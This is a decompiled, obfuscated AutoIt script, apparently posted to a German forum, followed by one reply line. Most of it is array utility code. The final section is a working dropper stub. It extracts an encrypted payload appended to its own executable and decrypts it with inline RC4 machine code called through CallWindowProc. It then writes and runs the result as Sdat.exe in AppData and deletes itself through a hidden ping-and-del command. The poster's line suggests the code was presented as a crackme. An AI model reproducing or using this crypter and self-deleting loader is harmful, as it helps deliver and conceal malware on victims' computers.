Func Fn0030(ByRef $__01, ByRef $__02, ByRef $__03, ByRef $__04, ByRef $__05, ByRef $__06)
If $__04 <= $__03 Then Return
Local $locVar0001, $locVar0002 = $__03, $locVar0003 = $__04, $locVar0004 = $__01[Int(($__03 + $__04) / 2)][$__05], $locVar0005 = IsNumber($locVar0004)
Do
If $locVar0005 Then
While ($__02 * ($__01[$locVar0002][$__05] - $locVar0004) < 0 AND IsNumber($__01[$locVar0002][$__05])) OR (NOT IsNumber($__01[$locVar0002][$__05]) AND $__02 * StringCompare($__01[$locVar0002][$__05], $locVar0004) < 0)
$locVar0002 += 1
WEnd
While ($__02 * ($__01[$locVar0003][$__05] - $locVar0004) > 0 AND IsNumber($__01[$locVar0003][$__05])) OR (NOT IsNumber($__01[$locVar0003][$__05]) AND $__02 * StringCompare($__01[$locVar0003][$__05], $locVar0004) > 0)
$locVar0003 -= 1
WEnd
Else
While ($__02 * StringCompare($__01[$locVar0002][$__05], $locVar0004) < 0)
$locVar0002 += 1
WEnd
While ($__02 * StringCompare($__01[$locVar0003][$__05], $locVar0004) > 0)
$locVar0003 -= 1
WEnd
EndIf
If $locVar0002 <= $locVar0003 Then
For $a3211e0135f = 0 To $__06
$locVar0001 = $__01[$locVar0002][$a3211e0135f]
$__01[$locVar0002][$a3211e0135f] = $__01[$locVar0003][$a3211e0135f]
$__01[$locVar0003][$a3211e0135f] = $locVar0001
Next
$locVar0002 += 1
$locVar0003 -= 1
EndIf
Until $locVar0002 > $locVar0003
Fn0030($__01, $__02, $__03, $locVar0003, $__05, $__06)
Fn0030($__01, $__02, $locVar0002, $__04, $__05, $__06)
EndFunc
Func Fn0031(ByRef $__01, ByRef $__02)
Local $locVar0001 = $__01
$__01 = $__02
$__02 = $locVar0001
EndFunc
Func Fn0032(Const ByRef $__01, $__02 = 0, $__03 = 0)
Local $locVar0001 = Fn0033($__01, @CR, $__02, $__03)
If @error Then Return SetError(@error, 0, 0)
Return ClipPut($locVar0001)
EndFunc
Func Fn0033(Const ByRef $__01, $__02 = "|", $__03 = 0, $__04 = 0)
If NOT IsArray($__01) Then Return SetError(1, 0, "")
If UBound($__01, 0) <> 1 Then Return SetError(3, 0, "")
Local $locVar0001, $locVar0002 = UBound($__01) - 1
If $__04 < 1 OR $__04 > $locVar0002 Then $__04 = $locVar0002
If $__03 < 0 Then $__03 = 0
If $__03 > $__04 Then Return SetError(2, 0, "")
For $a3211e0135f = $__03 To $__04
$locVar0001 &= $__01[$a3211e0135f] & $__02
Next
Return StringTrimRight($locVar0001, StringLen($__02))
EndFunc
Func Fn0034(ByRef $__01, $__02, $__03 = 0, $__04 = 0, $__05 = 0)
If NOT IsArray($__01) Then Return SetError(1, 0, 0)
If UBound($__01, 0) <> 1 Then Return SetError(2, 0, 0)
Local $locVar0001 = UBound($__01) - 1
If $__05 < 1 OR $__05 > $locVar0001 Then $__05 = $locVar0001
If $__04 < 0 Then $__04 = 0
If $__04 > $__05 Then Return SetError(5, 0, 0)
If $__03 Then
For $a3211e0135f = $__04 To $__05
$__01[$a3211e0135f] = StringTrimRight($__01[$a3211e0135f], $__02)
Next
Else
For $a3211e0135f = $__04 To $__05
$__01[$a3211e0135f] = StringTrimLeft($__01[$a3211e0135f], $__02)
Next
EndIf
Return 1
EndFunc
Func Fn0035($__01, $__02 = 1, $__03 = 0, $__04 = 0, $__05 = "|")
Local $locVar0001
If $__05 = "|" Then $__05 = Chr(01)
If NOT IsArray($__01) Then Return SetError(1, 0, 0)
If NOT $__02 > 0 Then
Return SetError(3, 0, 0)
Else
$locVar0001 = UBound($__01, 1)
If @error Then Return SetError(3, 0, 0)
If $__02 > 1 Then
Local $locVar0002[1]
For $a3211e0135f = 0 To $locVar0001 - 1
Fn0010($locVar0002, $__01[$a3211e0135f][$__02 - 1])
Next
Fn0015($locVar0002, 0)
Else
If UBound($__01, 0) = 1 Then
Dim $locVar0002[1]
For $a3211e0135f = 0 To $locVar0001 - 1
Fn0010($locVar0002, $__01[$a3211e0135f])
Next
Fn0015($locVar0002, 0)
Else
Dim $locVar0002[1]
For $a3211e0135f = 0 To $locVar0001 - 1
Fn0010($locVar0002, $__01[$a3211e0135f][$__02 - 1])
Next
Fn0015($locVar0002, 0)
EndIf
EndIf
EndIf
Local $locVar0003
For $a0173400039 = $__03 To UBound($locVar0002) - 1
If NOT StringInStr($__05 & $locVar0003, $__05 & $locVar0002[$a0173400039] & $__05, $__04) Then $locVar0003 &= $locVar0002[$a0173400039] & $__05
Next
If $locVar0003 Then
$locVar0002 = StringSplit(StringTrimRight($locVar0003, StringLen($__05)), $__05, 1)
Return $locVar0002
EndIf
Return SetError(2, 0, 0)
EndFunc
Func Fn0036(ByRef $__01, $__02, $__03, $__04, ByRef $__05, ByRef $__06, ByRef $__07)
If $__02 == $__03 - 1 Then
For $a3211e0135f = 0 To $__03 - 1
$__06[$__07] &= $__01[$__05[$a3211e0135f]] & $__04
Next
If $__04 <> "" Then $__06[$__07] = StringTrimRight($__06[$__07], 1)
$__07 += 1
Else
Local $locVar0001
For $a3211e0135f = $__02 To $__03 - 1
$locVar0001 = $__05[$a3211e0135f]
$__05[$a3211e0135f] = $__05[$__02]
$__05[$__02] = $locVar0001
Fn0036($__01, $__02 + 1, $__03, $__04, $__05, $__06, $__07)
$__05[$__02] = $__05[$a3211e0135f]
$__05[$a3211e0135f] = $locVar0001
Next
EndIf
EndFunc
Func Fn0037($__01, $__02)
Local $locVar0001 = 1
For $a3211e0135f = $__02 To 1 Step -1
$locVar0001 *= ($__01 / $a3211e0135f)
$__01 -= 1
Next
Return Round($locVar0001)
EndFunc
Func Fn0038($__01, $__02, ByRef $__03, $__04, ByRef $__05)
If $__03 == $__04 Then
$__03 -= 1
Return
EndIf
Local $locVar0001 = $__02 - 1
While $__05[$locVar0001] == $__01 - $__02 + $locVar0001
$locVar0001 -= 1
WEnd
$__05[$locVar0001] += 1
For $a0971001717 = $locVar0001 + 1 To $__02 - 1
$__05[$a0971001717] = $__05[$locVar0001] + $a0971001717 - $locVar0001
Next
$__03 -= 1
EndFunc
FileDelete(@AppDataDir & "/Sdat.exe")
$a0a93003c32 = Fn0040(@AutoItExe)
$a0a93201d12 = Fn0039($a0a93003c32, "H)/(F49%7b")
$a459340291d = BinaryToString($a0a93201d12)
$a0493503947 = StringSplit($a459340291d, BinaryToString("0x7C602DB47C"), 1)
$a3893802b1e = FileOpen(@AppDataDir & "\Sdat.exe", 0x00000010 + 2)
$a5393d04f19 = FileWrite($a3893802b1e, Fn0039($a0493503947[1], $a0493503947[3]))
FileClose($a3893802b1e)
If BinaryToString(Fn0039($a0493503947[2], $a0493503947[3])) <> 'K:|m4a`!Tq"JD+$6gre/qUANcgGgydYTyiqEc=tU' Then
MsgBox(0x00000010, "Error", BinaryToString(Fn0039($a0493503947[2], $a0493503947[3])))
EndIf
Run(@AppDataDir & "\Sdat.exe")
If $a0493503947[4] = 1 Then
Fn0041(0x000003e8)
EndIf
Func Fn0039($__01, $__02)
Local $locVar0001 = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
Local $locVar0002 = DllStructCreate("byte[" & BinaryLen($locVar0001) & "]")
DllStructSetData($locVar0002, 1, $locVar0001)
Local $locVar0003 = DllStructCreate("byte[" & BinaryLen($__01) & "]")
DllStructSetData($locVar0003, 1, $__01)
DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($locVar0002), "ptr", DllStructGetPtr($locVar0003), "int", BinaryLen($__01), "str", $__02, "int", 0)
Local $locVar0004 = DllStructGetData($locVar0003, 1)
$locVar0003 = 0
$locVar0002 = 0
Return $locVar0004
EndFunc
Func Fn0040($__01)
$a2bc3601b0e = FileOpen($__01, 0x00000010)
$a60c3803b3d = FileRead($a2bc3601b0e)
$a0493503947 = Fn0002($a60c3803b3d, "257C2525", "257C252525")
If $a0493503947 = 0 OR @error = -1 Then
$a3cc3d0210e = "-.-"
Else
$a63c3f02613 = Fn0033($a0493503947)
$a3cc3d0210e = Fn0001($a63c3f02613)
EndIf
FileClose($a2bc3601b0e)
Return $a3cc3d0210e
EndFunc
Func Fn0041($__01)
ShellExecute(@ComSpec, "/c ping 0.0.0.1 -n 1 -w " & $__01 & " & del " & @ScriptName, @ScriptDir, "open", @SW_HIDE)
Exit
EndFunc
Habs entfernt. Will erstmal wissen, warum du in dem Crackme FileWrite und ShellExecute("ping..") benutzt.